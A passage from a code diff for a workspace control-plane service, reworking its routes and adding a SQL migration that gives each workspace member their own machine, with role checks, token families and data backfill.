read-only: the ticket carries `role: "viewer"`, the agent port is + * closed to them here, and the guest enforces the rest. + * + * A member with no machine gets a refusal that names the fix rather than a + * proxy error nobody can act on. + */ +async function machineForRequest( + runtime: CoreRuntime, + workspace: WorkspaceRow, + membershipId: string, + role: WorkspaceRole, +): Promise { + const own = await machineFor(runtime.db, workspace.id, membershipId); + const machine = own !== null && own.state !== "destroyed" + ? own + : role === "viewer" && workspace.owner_membership_id !== null + ? await machineFor(runtime.db, workspace.id, workspace.owner_membership_id) + : null; + if (machine === null || machine.state === "destroyed") { + throw new HttpError( + 409, + "you have no machine in this workspace; a workspace admin provisions one", + ); + } + if (machine.vm_id === null) { + throw new HttpError(409, "your machine in this workspace is not running"); + } + return machine; } export function addWorkspaceRoutes( @@ -845,7 +701,10 @@ export function addWorkspaceRoutes( new URL(context.req.url).origin, input, ); - return context.json({ workspace: workspaceView(row, "owner") }, 201); + return context.json( + { workspace: await projectWorkspace(runtime.db, principal, row) }, + 201, + ); }); router.get("/workspaces", async (context) => { @@ -854,29 +713,19 @@ export function addWorkspaceRoutes( throw new HttpError(403, "active membership required"); } const runtime = runtimeFactory(context); - const result = await rows(runtime.db, { - q: `SELECT w.*, grant.role AS grant_role, - owner_user.name AS owner_name, - owner_user.avatar_url AS owner_avatar_url - FROM workspaces w - JOIN memberships owner ON owner.id = w.owner_membership_id - JOIN users owner_user ON owner_user.id = owner.user_id - LEFT JOIN workspace_grants grant - ON grant.workspace_id = w.id AND grant.membership_id = ?1 - WHERE w.org_id = ?2 AND w.phase != 'destroyed' - ORDER BY w.created_at, w.id`, - v: [principal.membershipId, principal.orgId], - }); + const all = await workspacesForOrg(runtime.db, principal.orgId); + const views = await projectWorkspaces(runtime.db, principal, all); return context.json({ - workspaces: result.map((row) => - workspaceView(row, workspaceRole(principal, row), runtime.reportError)), + // A member sees the workspaces they are in; an org admin sees every one + // of the organization's, which is the reach they already held. + workspaces: views.filter((view) => view.role !== null), }); }); /** - * Destroyed workspaces whose volume is still alive. + * Deleted workspaces whose machines still hold a volume. * - * This is the recreate history. `GET /workspaces` hides destroyed rows, so + * This is the recreate history. `GET /workspaces` hides deleted rows, so * without this list the disk that outlived a workspace is invisible and the * seven-day window passes unused. A row leaves the list when the janitor * reclaims its volume, which is the same moment the recreate stops working. @@ -889,39 +738,34 @@ export function addWorkspaceRoutes( throw new HttpError(403, "active membership required"); } const runtime = runtimeFactory(context); - const result = await rows(runtime.db, { - q: `SELECT w.*, grant.role AS grant_role, - owner_user.name AS owner_name, - owner_user.avatar_url AS owner_avatar_url + const deleted = await rows(runtime.db, { + q: `SELECT w.*, u.name AS owner_name, u.avatar_url AS owner_avatar_url FROM workspaces w - JOIN memberships owner ON owner.id = w.owner_membership_id - JOIN users owner_user ON owner_user.id = owner.user_id - JOIN volume_ownership vol ON vol.volume_id = w.volume_id - LEFT JOIN workspace_grants grant - ON grant.workspace_id = w.id AND grant.membership_id = ?1 - WHERE w.org_id = ?2 AND w.phase = 'destroyed' - AND w.volume_id IS NOT NULL AND vol.org_id = ?2 + LEFT JOIN memberships owner ON owner.id = w.owner_membership_id + LEFT JOIN users u ON u.id = owner.user_id + WHERE w.org_id = ?1 AND w.deleted_at IS NOT NULL + AND EXISTS ( + SELECT 1 FROM machines m + JOIN volume_ownership vol ON vol.volume_id = m.volume_id + WHERE m.workspace_id = w.id AND vol.org_id = ?1 + ) ORDER BY w.updated_at DESC, w.id LIMIT 100`, - v: [principal.membershipId, principal.orgId], + v: [principal.orgId], }); return context.json({ - workspaces: result.map((row) => - workspaceView(row, workspaceRole(principal, row), runtime.reportError)), + workspaces: await projectWorkspaces(runtime.db, principal, deleted), }); }); /** - * Brings a destroyed workspace back on its own volume. + * Brings a deleted workspace back on its owner's volume. * * The new workspace is a new row with a new id, because the old row is the * tombstone that proves the old VM is gone. It inherits the name, machine - * type, volume, environment, agent rule and share role of the row it came - * from. The machine type is inherited rather than chosen, because the volume - * only attaches inside its own location. - * - * The volume moves to the new row and the old row lets go of it, so one - * volume is never claimed by two workspaces. + * type and agent rule of the row it came from. The machine type is inherited + * rather than chosen, because the volume only attaches inside its own + * location. */ router.post("/workspaces/:id/recreate", async (context) => { const principal = await requirePrincipal(context); @@ -935,37 +779,35 @@ export function addWorkspaceRoutes( if (row === null || row.org_id !== principal.orgId) { throw new HttpError(404, "workspace not found"); } - if (row.phase !== "destroyed") { - throw new HttpError(409, "only a destroyed workspace can be recreated"); + if (row.deleted_at === null) { + throw new HttpError(409, "only a deleted workspace can be recreated"); } - if (row.volume_id === null) { + const machines = await machinesForWorkspaces(runtime.db, [row.id]); + // The OWNER's machine or nothing. Any other member's row holds THEIR + // volume, and recreating onto it would restore the workspace on somebody + // else's disk. Without an owner machine the 409 below is the answer. + const owner = machines.find( + (machine) => machine.membership_id === row.owner_membership_id, + ); + if (owner?.volume_id == null) { throw new HttpError(409, "workspace kept no volume, so it cannot be recreated"); } // The SSH key is the caller's, not the workspace's: the row never stored - // one, and a key from weeks ago may not be the key they hold now. Without - // this the recreated box came up with no authorized key at all and the - // owner could not reach their own restored disk. Proven on a real - // destroy/recreate pair on 2026-08-27. + // one, and a key from weeks ago may not be the key they hold now. const overrides = await readOptionalJson(context.req.raw); const request: CreateWorkspaceRequest = { - machineTypeId: row.machine_type_id, - volumeId: row.volume_id, + defaultMachineTypeId: owner.machine_type_id, + volumeId: owner.volume_id, }; if (overrides.sshPublicKey !== undefined) request.sshPublicKey = overrides.sshPublicKey; if (row.name !== null) request.name = row.name; if (row.agent_rule_id !== null) request.agentRuleId = row.agent_rule_id; - if (row.org_share_role !== null && row.org_share_role !== undefined) { - request.orgShareRole = row.org_share_role; - } - const environment = workspaceEnvironmentFromJson(row.environment); - if (environment !== null) request.environment = environment; // The tombstone lets go first. A create that fails still leaves the volume // owned by the org, so the next attempt finds it; a create that succeeds // must never leave two rows pointing at one disk. await rows(runtime.db, { - q: `UPDATE workspaces SET volume_id = NULL, updated_at = ?1 - WHERE id = ?2 AND phase = 'destroyed'`, - v: [Date.now(), id], + q: "UPDATE machines SET volume_id = NULL, updated_at = ?1 WHERE id = ?2", + v: [Date.now(), owner.id], }); try { const created = await performWorkspaceCreate( @@ -975,17 +817,16 @@ export function addWorkspaceRoutes( request, ); return context.json( - { workspace: workspaceView(created, "owner") }, + { workspace: await projectWorkspace(runtime.db, principal, created) }, 201, ); } catch (error) { // Hand the volume back to the tombstone so the history row reappears and - // the operator can try again. Without this a failed recreate hides the - // disk until the retention clock deletes it. + // the operator can try again. await rows(runtime.db, { - q: `UPDATE workspaces SET volume_id = ?1, updated_at = ?2 - WHERE id = ?3 AND phase = 'destroyed' AND volume_id IS NULL`, - v: [row.volume_id, Date.now(), id], + q: `UPDATE machines SET volume_id = ?1, updated_at = ?2 + WHERE id = ?3 AND volume_id IS NULL`, + v: [owner.volume_id, Date.now(), owner.id], }); throw error; } @@ -994,8 +835,7 @@ export function addWorkspaceRoutes( router.get("/workspaces/:id", async (context) => { // The SPA's workspace page shares this path. A browser refresh navigates // here with an HTML accept; serve the app shell and keep JSON for fetch - // callers. Deeper /workspaces/:id/* paths (the webApp proxy) never take - // this branch. + // callers. const runtime = runtimeFactory(context); if ( runtime.assets !== undefined @@ -1005,20 +845,12 @@ export function addWorkspaceRoutes( } const principal = await requirePrincipal(context); const row = await workspaceById(runtime.db, context.req.param("id")); - if (row === null || row.org_id !== principal.orgId || row.phase === "destroyed") { + if (row === null || row.org_id !== principal.orgId || row.deleted_at !== null) { throw new HttpError(404, "workspace not found"); } - const grant = principal.membershipId === null - ? null - : await first<{ role: "editor" | "viewer" }>(runtimeFactory(context).db, { - q: `SELECT role FROM workspace_grants - WHERE workspace_id = ?1 AND membership_id = ?2 LIMIT 1`, - v: [row.id, principal.membershipId], - }); - row.grant_role = grant?.role ?? null; - const role = workspaceRole(principal, row); - if (role === null) throw new HttpError(403, "forbidden"); - return context.json({ workspace: workspaceView(row, role) }); + const view = await projectWorkspace(runtime.db, principal, row); + if (view.role === null) throw new HttpError(403, "forbidden"); + return context.json({ workspace: view }); }); const webApp = async (context: CoreContext): Promise => { @@ -1026,15 +858,24 @@ export function addWorkspaceRoutes( const runtime = runtimeFactory(context); const access = await webAppWorkspaceForRequest(runtime, requirePrincipal, context, id); const row = access.workspace; - if (row.vm_id === null) { - throw new HttpError(409, "workspace is not ready for webapp access"); - } - const provider = providerForVmId(runtime, row.vm_id); + // The proxy routes to the REQUESTING member's machine. A workspace holds + // one VM per member now, so "the workspace's VM" is not a thing that + // exists; the ticket already names who is asking. const rawPort = context.req.param("port"); if (rawPort !== "7444" && rawPort !== "7445") { throw new HttpError(400, "webApp port must be 7444 or 7445"); } const port: WebAppPort = rawPort === "7444" ? 7444 : 7445; + // The agent port is closed to viewers before any machine is resolved: a + // viewer may not drive an agent on anybody's machine, so there is nothing + // to look up. + if (access.role === "viewer" && port === 7444) { + throw new HttpError(403, "viewers cannot drive the workspace agent"); + } + const machine = await machineForRequest(runtime, row, access.membershipId, access.role); + const vmId = machine.vm_id; + if (vmId === null) throw new HttpError(409, "workspace is not ready for webapp access"); + const provider = providerForVmId(runtime, vmId); const requestURL = new URL(context.req.url); const routePrefix = `/workspaces/${encodeURIComponent(id)}/webapp/${rawPort}`; if (!requestURL.pathname.startsWith(routePrefix)) { @@ -1048,23 +889,18 @@ export function addWorkspaceRoutes( } const pathAndQuery = `${path}${requestURL.search}`; // Boxes boot the image pinned at their creation and never upgrade in - // place, and each provider ships its guest on its own release channel — - // so the cutoff comes from the provider that owns this VM, never from a - // single global date. + // place, and each provider ships its guest on its own release channel — so + // the cutoff comes from the provider that owns this VM, and it is compared + // against the MACHINE's creation, not the workspace's: a workspace outlives + // its VMs now, so its own age says nothing about the image in front of us. // TODO(identity-phase-4): drop the gate once every pre-ticket VM is gone. const capabilities = provider.capabilities(); const ticketsSince = capabilities.webAppTicketsSinceMs; - const ticketCapable = ticketsSince !== undefined && row.created_at >= ticketsSince; - // A viewer needs a guest that actually holds the line: earlier images - // could be talked into a writable shell, and their observer path spawned - // sessions on demand. The agent port stays closed to viewers on every - // image — the actor still accepts any valid ticket once connected. + const ticketCapable = ticketsSince !== undefined && machine.created_at >= ticketsSince; const viewerGuardsSince = capabilities.webAppViewerGuardsSinceMs; - const viewerSafe = viewerGuardsSince !== undefined && row.created_at >= viewerGuardsSince; - if (access.role === "viewer" && (port === 7444 || !viewerSafe)) { - throw new HttpError(403, viewerSafe - ? "viewers cannot drive the workspace agent" - : "read-only access arrives when this workspace VM is recycled"); + const viewerSafe = viewerGuardsSince !== undefined && machine.created_at >= viewerGuardsSince; + if (access.role === "viewer" && !viewerSafe) { + throw new HttpError(403, "read-only access arrives when this workspace VM is recycled"); } const webAppAuth = requireWorkspaceWebAppAuth(runtime.providers.webAppAuth); const credential = ticketCapable @@ -1086,15 +922,10 @@ export function addWorkspaceRoutes( let upstream: Response | null; try { if (provider.proxyWebApp !== undefined) { - upstream = await provider.proxyWebApp( - row.vm_id, - port, - pathAndQuery, - authenticatedRequest, - ); - } else if (workspaceTunnels !== undefined && row.tunnel_hostname !== null) { + upstream = await provider.proxyWebApp(vmId, port, pathAndQuery, authenticatedRequest); + } else if (workspaceTunnels !== undefined && machine.tunnel_hostname !== null) { upstream = await workspaceTunnels.proxy( - row.tunnel_hostname, + machine.tunnel_hostname, row.id, port, pathAndQuery, @@ -1120,120 +951,103 @@ export function addWorkspaceRoutes( router.all("/workspaces/:id/webapp/:port", webApp); router.all("/workspaces/:id/webapp/:port/*", webApp); + /** Deletes the workspace: every machine destroys, then the row tombstones. + * Workspace admins and org admins only (§3). */ router.delete("/workspaces/:id", async (context) => { const principal = await requirePrincipal(context); if (principal.orgId === null) throw new HttpError(403, "active membership required"); - const orgId = principal.orgId; const id = context.req.param("id"); const runtime = runtimeFactory(context); - let row = await workspaceById(runtime.db, id); + const row = await workspaceById(runtime.db, id); if (row === null || row.org_id !== principal.orgId) { throw new HttpError(404, "workspace not found"); } - if (!canControlWorkspace(principal, row)) throw new HttpError(403, "forbidden"); - if (row.phase === "destroyed") { + await requireWorkspaceAdmin(runtime.db, principal, row); + if (row.deleted_at !== null) { return context.json({ - workspace: workspaceView(row, workspaceRole(principal, row)), + workspace: await projectWorkspace(runtime.db, principal, row), }); } - const vmProvider = row.vm_id === null - ? undefined - : (await runtime.providers.vmRegistry.resolveVmId( - row.vm_id, - orgId, - row.compute_credential_source ?? "deployment", - ))?.provider; - if (row.vm_id !== null && vmProvider === undefined) { - throw new HttpError(409, `no VM provider owns VM ID ${row.vm_id}`); + let pending = false; + for (const machine of await liveMachines(runtime.db, id)) { + const destroyed = await destroyMachine(runtime, machine); + if (destroyed.state !== "destroyed") pending = true; } - - await rows(runtime.db, { - q: `UPDATE workspaces - SET phase = 'destroying', error = NULL, phone_home_hash = NULL, - revision = revision + 1, updated_at = ?1 - WHERE id = ?2 AND phase IN ('creating', 'ready', 'error')`, - v: [Date.now(), id], - }); - row = await workspaceById(runtime.db, id); - if (row === null) throw new Error("workspace disappeared during destroy"); - - if (row.vm_id !== null && vmProvider !== undefined) { - if (row.volume_id !== null) { - await vmProvider.shutdown(row.vm_id); - const volume = await runtime.providers.volume.forOrg( - orgId, - row.compute_credential_source ?? "deployment", - ); - await volume.provider.detachVolume(row.volume_id, row.vm_id); - // The retention clock starts here. The volume is the only copy of - // /workspace once the VM is gone, so the destroy stays reversible - // until the janitor reclaims it. - await rows(runtime.db, markVolumeDetachedQuery(row.volume_id, Date.now())); - } - await vmProvider.destroy(row.vm_id); + if (!pending) { + // Honest destroy: the tombstone is only written once the last machine is + // actually gone. A workspace whose Cloudflare cleanup is still failing + // stays live with its machines in `destroying` for the janitor to retry. + await transaction(runtime.db, [ + revokeWorkspaceLeasesQuery(id), + { q: "DELETE FROM webapp_state WHERE workspace_id = ?1", v: [id] }, + { + q: `UPDATE workspaces + SET deleted_at = ?1, revision = revision + 1, updated_at = ?1 + WHERE id = ?2 AND deleted_at IS NULL`, + v: [Date.now(), id], + }, + ]); } - - const workspaceTunnels = runtime.providers.workspaceTunnels; - if (workspaceTunnels !== undefined) { - const cleanup = await workspaceTunnels.cleanup(runtime.db, row); - if (cleanup.errors.length > 0) { - // Honest destroy: the row stays in destroying with its remaining - // identifiers; the janitor retries until Cloudflare cleanup lands. - const pending = await workspaceById(runtime.db, id); - if (pending === null) throw new Error("workspace disappeared during destroy"); - return context.json({ - workspace: workspaceView(pending, workspaceRole(principal, pending)), - }); - } - } - - await transaction(runtime.db, [ - revokeWorkspaceLeasesQuery(id), - { q: "DELETE FROM boxes WHERE workspace_id = ?1", v: [id] }, - { q: "DELETE FROM webapp_state WHERE workspace_id = ?1", v: [id] }, - { - q: `UPDATE workspaces - SET phase = 'destroyed', vm_id = NULL, ssh_host = NULL, ssh_port = NULL, - ssh_user = NULL, ssh_host_public_key = NULL, error = NULL, - revision = revision + 1, updated_at = ?1 - WHERE id = ?2 AND phase = 'destroying'`, - v: [Date.now(), id], - }, - ]); - const destroyed = await workspaceById(runtime.db, id); - if (destroyed === null) throw new Error("workspace disappeared after destroy"); + const after = await workspaceById(runtime.db, id); + if (after === null) throw new Error("workspace disappeared during destroy"); return context.json({ - workspace: workspaceView(destroyed, workspaceRole(principal, destroyed)), + workspace: await projectWorkspace(runtime.db, principal, after), }); }); + /** + * Enrollment. The capability is per machine and re-armed at every VM + * provision, so the machine is resolved by matching the token against the + * hashes this workspace's machines hold rather than by a workspace-level + * column. The URL keeps its workspace shape because every deployed guest + * holds one it was handed at creation and never updates it. + */ router.post("/workspaces/:id/phone-home/:token", async (context) => { const id = context.req.param("id"); const token = context.req.param("token"); const runtime = runtimeFactory(context); const db = runtime.db; - const row = await workspaceById(db, id); - if (row === null) throw new HttpError(404, "workspace not found"); - if (row.phone_home_used === 1) { - throw new HttpError(409, "phone_home capability already used"); + const workspace = await workspaceById(db, id); + if (workspace === null) throw new HttpError(404, "workspace not found"); + const candidates = await rows(db, { + q: `SELECT * FROM machines + WHERE workspace_id = ?1 AND phone_home_hash IS NOT NULL + ORDER BY created_at, id`, + v: [id], + }); + let row: MachineRow | undefined; + for (const candidate of candidates) { + if (await matchesStoredHash(token, candidate.phone_home_hash ?? "")) { + row = candidate; + break; + } } - if ( - row.phone_home_hash === null || - !(await matchesStoredHash(token, row.phone_home_hash)) - ) { - throw new HttpError(401, "invalid phone_home capability"); + if (row === undefined) { + // A spent capability keeps no hash, so a second presentation of one + // cannot be matched. "Already used" is still the honest answer, and it + // is the answer this route has always given: a machine that has burnt + // its capability says so rather than reading as a bad token. + const spent = await first<{ id: string }>(db, { + q: `SELECT id FROM machines + WHERE workspace_id = ?1 AND phone_home_used = 1 LIMIT 1`, + v: [id], + }); + throw spent === null + ? new HttpError(401, "invalid phone_home capability") + : new HttpError(409, "phone_home capability already used"); } - if (row.phase !== "creating") throw new HttpError(409, "workspace is not creating"); + if (row.state !== "provisioning") throw new HttpError(409, "machine is not provisioning"); + const machineId = row.id; const phoneHome = await readPhoneHome(context); if (phoneHome.kind === "failure") { const consumed = await rows(db, { - q: `UPDATE workspaces - SET phase = 'error', error = ?1, phone_home_used = 1, - phone_home_hash = NULL, revision = revision + 1, updated_at = ?2 - WHERE id = ?3 AND phase = 'creating' AND phone_home_used = 0 + q: `UPDATE machines + SET state = 'error', error = ?1, phone_home_used = 1, + phone_home_hash = NULL, updated_at = ?2 + WHERE id = ?3 AND state = 'provisioning' AND phone_home_used = 0 AND phone_home_hash = ?4 RETURNING id`, - v: [phoneHome.message, Date.now(), id, row.phone_home_hash], + v: [phoneHome.message, Date.now(), machineId, row.phone_home_hash], }); if (consumed.length !== 1) { throw new HttpError(409, "phone_home capability already used"); @@ -1241,55 +1055,61 @@ export function addWorkspaceRoutes( return context.body(null, 204); } if (row.vm_id === null || row.ssh_host === null) { - throw new HttpError(409, "workspace provisioning is not recorded yet"); + throw new HttpError(409, "machine provisioning is not recorded yet"); } const hostKey = phoneHome.hostPublicKey; - const credentials = await issueBoxTokens(); - const boxId = crypto.randomUUID(); + const credentials = await issueMachineTokens(); const now = Date.now(); const results = await transaction(db, [ { - q: `INSERT INTO boxes (id, principal_id, workspace_id, created_at) - SELECT ?1, owner_id, id, ?2 FROM workspaces - WHERE id = ?3 AND phase = 'creating' AND phone_home_used = 0 AND phone_home_hash = ?4`, - v: [boxId, now, id, row.phone_home_hash], - }, - { - q: `INSERT INTO box_token_families - (box_id, access_hash, refresh_hash, access_issued_at, generation) - SELECT ?1, ?2, ?3, ?4, 1 FROM workspaces - WHERE id = ?5 AND phase = 'creating' AND phone_home_used = 0 AND phone_home_hash = ?6`, + // The stamp fences a guest that outlives its VM: a family minted for + // one incarnation stops matching the moment a new VM takes over. + q: `INSERT INTO machine_token_families + (machine_id, vm_id, access_hash, refresh_hash, access_issued_at, generation) + SELECT ?1, ?2, ?3, ?4, ?5, 1 FROM machines + WHERE id = ?1 AND state = 'provisioning' AND phone_home_used = 0 + AND phone_home_hash = ?6 + ON CONFLICT(machine_id) DO UPDATE SET + vm_id = excluded.vm_id, access_hash = excluded.access_hash, + refresh_hash = excluded.refresh_hash, + previous_refresh_hash = NULL, previous_rotated_at = NULL, + access_issued_at = excluded.access_issued_at, + generation = machine_token_families.generation + 1`, v: [ - boxId, + machineId, + row.vm_id, credentials.accessHash, credentials.refreshHash, now, - id, row.phone_home_hash, ], }, { - q: `UPDATE workspaces - SET phase = 'ready', ssh_host_public_key = ?1, phone_home_used = 1, - phone_home_hash = NULL, revision = revision + 1, updated_at = ?2 - WHERE id = ?3 AND phase = 'creating' AND phone_home_used = 0 AND phone_home_hash = ?4 + q: `UPDATE machines + SET state = 'running', ssh_host_public_key = ?1, phone_home_used = 1, + phone_home_hash = NULL, error = NULL, updated_at = ?2 + WHERE id = ?3 AND state = 'provisioning' AND phone_home_used = 0 + AND phone_home_hash = ?4 RETURNING id`, - v: [hostKey, now, id, row.phone_home_hash], + v: [hostKey, now, machineId, row.phone_home_hash], }, ]); - if (results[2]?.length !== 1) { + if (results[1]?.length !== 1) { throw new HttpError(409, "phone_home capability already used"); } + await rows(db, { + q: `UPDATE workspaces SET revision = revision + 1, updated_at = ?1 WHERE id = ?2`, + v: [now, workspace.id], + }); // The guest just came up: materialize its attached Drive folders now - // instead of waiting for the next scheduled sweep, retrying briefly while - // the tunnel finishes connecting. + // instead of waiting for the next scheduled sweep. scheduleSync(runtime, (syncRuntime) => runReadyWorkspaceFileSync(syncRuntime, id)); const webAppToken = runtime.providers.webAppAuth === undefined ? undefined : await runtime.providers.webAppAuth.tokenFor(id); return context.json(createPhoneHomeResponse( - boxId, + machineId, credentials.accessToken, credentials.refreshToken, webAppToken === undefined ? undefined : id, @@ -1298,6 +1118,23 @@ export function addWorkspaceRoutes( }); } +/** Whether the caller may use this workspace's credentials and machines. */ +export async function canUseWorkspace( + runtime: CoreRuntime, + principal: Principal, + workspace: WorkspaceRow, +): Promise { + return isWorkspaceMember(await workspaceAccess(runtime.db, principal, workspace)); +} + +export async function workspaceMachineCount(db: Db, workspaceId: string): Promise { + const row = await first<{ count: number }>(db, { + q: "SELECT COUNT(*) AS count FROM machines WHERE workspace_id = ?1 AND state != 'destroyed'", + v: [workspaceId], + }); + return row?.count ?? 0; +} + function isWebSocketUpgrade(request: Request): boolean { return request.headers.get("upgrade")?.toLowerCase() === "websocket"; } diff --git a/packages/control-plane/migrations/0041_member_machines.sql b/packages/control-plane/migrations/0041_member_machines.sql new file mode 100644 index 00000000..bf419300 --- /dev/null +++ b/packages/control-plane/migrations/0041_member_machines.sql @@ -0,0 +1,215 @@ +-- MEMBER MACHINES, build 1 (plans/MEMBER-MACHINES.md §1). +-- +-- The workspace stops being a VM record and becomes the durable, configurable +-- thing. Every VM column moves onto `machines`, one row per (workspace, +-- member). Sharing stops being computed from `workspace_grants` + +-- `org_share_role` and becomes a stored role in `workspace_members`. +-- +-- Numbering starts at 0041 because 0040 is claimed by the unmerged trials PR. +-- +-- NOTHING DEPLOYED MAY BREAK. Three invariants this file has to hold: +-- 1. Every live workspace keeps its VM: one machine row carries vm_id, +-- volume_id, ssh_*, phone_home_*, tunnel_*, and the credential source. +-- 2. Every live guest keeps authenticating: the machine row REUSES the id of +-- the `boxes` row it already has, and its token family is copied across +-- hash-for-hash. A box that holds an access token keeps holding a valid +-- one, and `POST /boxes/:id/keys` still names the same id. +-- 3. Every broker keeps its member accounts: `broker_keys` is re-keyed onto +-- machines with the same ids, so the feed serves the same key lines. + +-- The membership plane. `admin` here is WORKSPACE admin, which is not the org +-- role of the same name (plans/MEMBER-MACHINES.md §3). +CREATE TABLE workspace_members ( + workspace_id TEXT NOT NULL REFERENCES workspaces(id), + membership_id TEXT NOT NULL REFERENCES memberships(id), + role TEXT NOT NULL CHECK (role IN ('admin', 'member', 'viewer')), + added_by_membership_id TEXT REFERENCES memberships(id), + added_at INTEGER NOT NULL, + PRIMARY KEY (workspace_id, membership_id) +); + +CREATE INDEX workspace_members_membership + ON workspace_members(membership_id, workspace_id); + +-- One VM per (workspace, member). The volume is the durable half: a machine +-- type change destroys the VM incarnation and keeps the disk, which is what +-- makes `machine_type_id` a per-machine mutable column rather than a workspace +-- setting (§1a). +-- +-- `compute_credential_source` is NOT NULL here where the workspace column was +-- nullable: every reader already coalesced a NULL to 'deployment', so the +-- backfill below writes that value and the column stops carrying a state no +-- caller could act on. +CREATE TABLE machines ( + id TEXT PRIMARY KEY, + workspace_id TEXT NOT NULL REFERENCES workspaces(id), + membership_id TEXT NOT NULL REFERENCES memberships(id), + state TEXT NOT NULL CHECK (state IN + ('provisioning', 'running', 'stopped', 'error', + 'destroying', 'destroyed')), + machine_type_id TEXT NOT NULL, + compute_credential_source TEXT NOT NULL DEFAULT 'deployment' + CHECK (compute_credential_source IN ('org', 'deployment')), + vm_id TEXT, + volume_id TEXT, + ssh_host TEXT, + ssh_port INTEGER, + ssh_user TEXT, + ssh_host_public_key TEXT, + phone_home_hash TEXT, + phone_home_used INTEGER NOT NULL DEFAULT 0 CHECK (phone_home_used IN (0, 1)), + tunnel_id TEXT, + tunnel_hostname TEXT, + dns_record_id TEXT, + -- The broker box this machine's member is homed on. It was boxes.broker_box_id. + broker_box_id TEXT REFERENCES broker_boxes(box_id) ON DELETE SET NULL, + box_update_requested INTEGER NOT NULL DEFAULT 0 CHECK (box_update_requested IN (0, 1)), + box_image_reported TEXT, + error TEXT, + created_at INTEGER NOT NULL, + updated_at INTEGER NOT NULL, + UNIQUE (workspace_id, membership_id) +); + +CREATE INDEX machines_workspace ON machines(workspace_id, created_at); +CREATE INDEX machines_membership ON machines(membership_id, workspace_id); +CREATE INDEX machines_state ON machines(state, updated_at); +CREATE INDEX machines_broker ON machines(broker_box_id); + +-- `box_token_families` renamed and re-keyed. `vm_id` is the stamp: a token +-- family is minted for one VM incarnation, so a guest that outlives its VM +-- (stop, recreate, SetMachineType) presents a family whose stamp no longer +-- matches and is fenced out. `box_token_families` survives for the boxes that +-- are still boxes — brokers and device-code enrolments. +CREATE TABLE machine_token_families ( + machine_id TEXT PRIMARY KEY REFERENCES machines(id) ON DELETE CASCADE, + vm_id TEXT, + access_hash TEXT NOT NULL UNIQUE, + refresh_hash TEXT NOT NULL UNIQUE, + previous_refresh_hash TEXT, + previous_rotated_at INTEGER, + access_issued_at INTEGER NOT NULL, + generation INTEGER NOT NULL +); + +-- The workspace's own config columns. `machine_type_id` keeps its data and +-- gains "default" semantics: it is what a new machine takes when nothing else +-- is named, never a restriction on what a machine may be (§1a). +ALTER TABLE workspaces ADD COLUMN default_machine_type_id TEXT NOT NULL DEFAULT 'unknown'; +ALTER TABLE workspaces ADD COLUMN auto_provision INTEGER NOT NULL DEFAULT 1 + CHECK (auto_provision IN (0, 1)); +-- The workspace has no phase; it is always present. This is the tombstone the +-- old `phase = 'destroyed'` carried, set once the last machine is gone. +ALTER TABLE workspaces ADD COLUMN deleted_at INTEGER; + +UPDATE workspaces SET default_machine_type_id = machine_type_id; +UPDATE workspaces SET deleted_at = updated_at WHERE phase = 'destroyed'; + +-- The creator is the first workspace admin. +INSERT OR IGNORE INTO workspace_members + (workspace_id, membership_id, role, added_by_membership_id, added_at) +SELECT id, owner_membership_id, 'admin', owner_membership_id, created_at +FROM workspaces +WHERE owner_membership_id IS NOT NULL; + +-- A personal grant converts first, so it wins over the org-wide default when +-- one member holds both. editor → member, viewer → viewer. +INSERT OR IGNORE INTO workspace_members + (workspace_id, membership_id, role, added_by_membership_id, added_at) +SELECT g.workspace_id, g.membership_id, + CASE g.role WHEN 'editor' THEN 'member' ELSE 'viewer' END, + g.granted_by_membership_id, g.created_at +FROM workspace_grants g +JOIN workspaces w ON w.id = g.workspace_id; + +-- `org_share_role` was a workspace-wide default for every active member of the +-- org, so it converts to one row per active member. +INSERT OR IGNORE INTO workspace_members + (workspace_id, membership_id, role, added_by_membership_id, added_at) +SELECT w.id, m.id, + CASE w.org_share_role WHEN 'editor' THEN 'member' ELSE 'viewer' END, + w.owner_membership_id, w.updated_at +FROM workspaces w +JOIN memberships m ON m.org_id = w.org_id AND m.status = 'active' +WHERE w.org_share_role IS NOT NULL; + +-- One machine per existing workspace, owned by the workspace owner. It takes +-- the `boxes` row's id where one exists so every deployed guest keeps the id +-- it already presents on /boxes/:id/keys and carries in its token file. +INSERT INTO machines ( + id, workspace_id, membership_id, state, machine_type_id, + compute_credential_source, vm_id, volume_id, + ssh_host, ssh_port, ssh_user, ssh_host_public_key, + phone_home_hash, phone_home_used, + tunnel_id, tunnel_hostname, dns_record_id, broker_box_id, + box_update_requested, box_image_reported, error, created_at, updated_at +) +SELECT + COALESCE(b.id, 'machine-' || w.id), + w.id, + w.owner_membership_id, + CASE w.phase + WHEN 'creating' THEN 'provisioning' + WHEN 'ready' THEN 'running' + WHEN 'destroying' THEN 'destroying' + WHEN 'destroyed' THEN 'destroyed' + ELSE 'error' + END, + w.machine_type_id, + COALESCE(w.compute_credential_source, 'deployment'), + w.vm_id, w.volume_id, + w.ssh_host, w.ssh_port, w.ssh_user, w.ssh_host_public_key, + w.phone_home_hash, w.phone_home_used, + w.tunnel_id, w.tunnel_hostname, w.dns_record_id, b.broker_box_id, + w.box_update_requested, w.box_image_reported, w.error, w.created_at, w.updated_at +FROM workspaces w +LEFT JOIN boxes b ON b.workspace_id = w.id +WHERE w.owner_membership_id IS NOT NULL; + +-- Live box credentials, hash for hash. The stamp is the VM the family was +-- minted against, which is the VM the workspace still names. +INSERT INTO machine_token_families ( + machine_id, vm_id, access_hash, refresh_hash, + previous_refresh_hash, previous_rotated_at, access_issued_at, generation +) +SELECT f.box_id, w.vm_id, f.access_hash, f.refresh_hash, + f.previous_refresh_hash, f.previous_rotated_at, f.access_issued_at, f.generation +FROM box_token_families f +JOIN boxes b ON b.id = f.box_id +JOIN workspaces w ON w.id = b.workspace_id +JOIN machines m ON m.id = b.id; + +-- Lease audit follows the machine. The column is added rather than renamed so +-- `credential_events.lease_id` never has to survive a table rebuild; rows +-- written before this migration keep `box_id` as their historical record. +ALTER TABLE credential_leases ADD COLUMN machine_id TEXT REFERENCES machines(id); +UPDATE credential_leases +SET machine_id = box_id +WHERE box_id IS NOT NULL + AND EXISTS (SELECT 1 FROM machines WHERE machines.id = credential_leases.box_id); + +-- broker_keys is re-keyed onto machines. Only workspace boxes ever registered +-- keys (`POST /boxes/:id/keys` refuses a broker), so every row maps one to one +-- and the ids do not change — the broker feed serves the same bytes. +CREATE TABLE broker_keys_new ( + id TEXT PRIMARY KEY, + machine_id TEXT NOT NULL REFERENCES machines(id) ON DELETE CASCADE, + pubkey TEXT NOT NULL, + operation TEXT NOT NULL CHECK (operation IN ('mint', 'deposit')), + UNIQUE 